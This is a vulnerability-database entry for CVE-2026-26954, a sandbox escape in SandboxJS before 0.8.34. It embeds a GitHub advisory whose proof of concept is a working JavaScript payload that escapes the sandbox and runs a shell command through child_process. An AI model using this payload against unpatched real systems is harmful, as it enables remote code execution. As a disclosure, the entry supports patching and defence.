CVE-2026-26954
criticalpriority · track · 0EPSS 0.006 · 46 %ileEURUUSEPSS · scored 2026-10-26
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-6r9f-759j-hjgvSandboxJS affected by a Sandbox Escape2026-03-13ghsa · osvUS
### Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. ### Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. ### PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` ### Impact Sandbox Escape -> RCE
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (4)
External citations — patches, advisories, analysis.
- https://github.com/nyariv/SandboxJS/releasesPatchcnnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgvcnnvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgvenisa_euvd
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgvExploitVendor Advisorynvd
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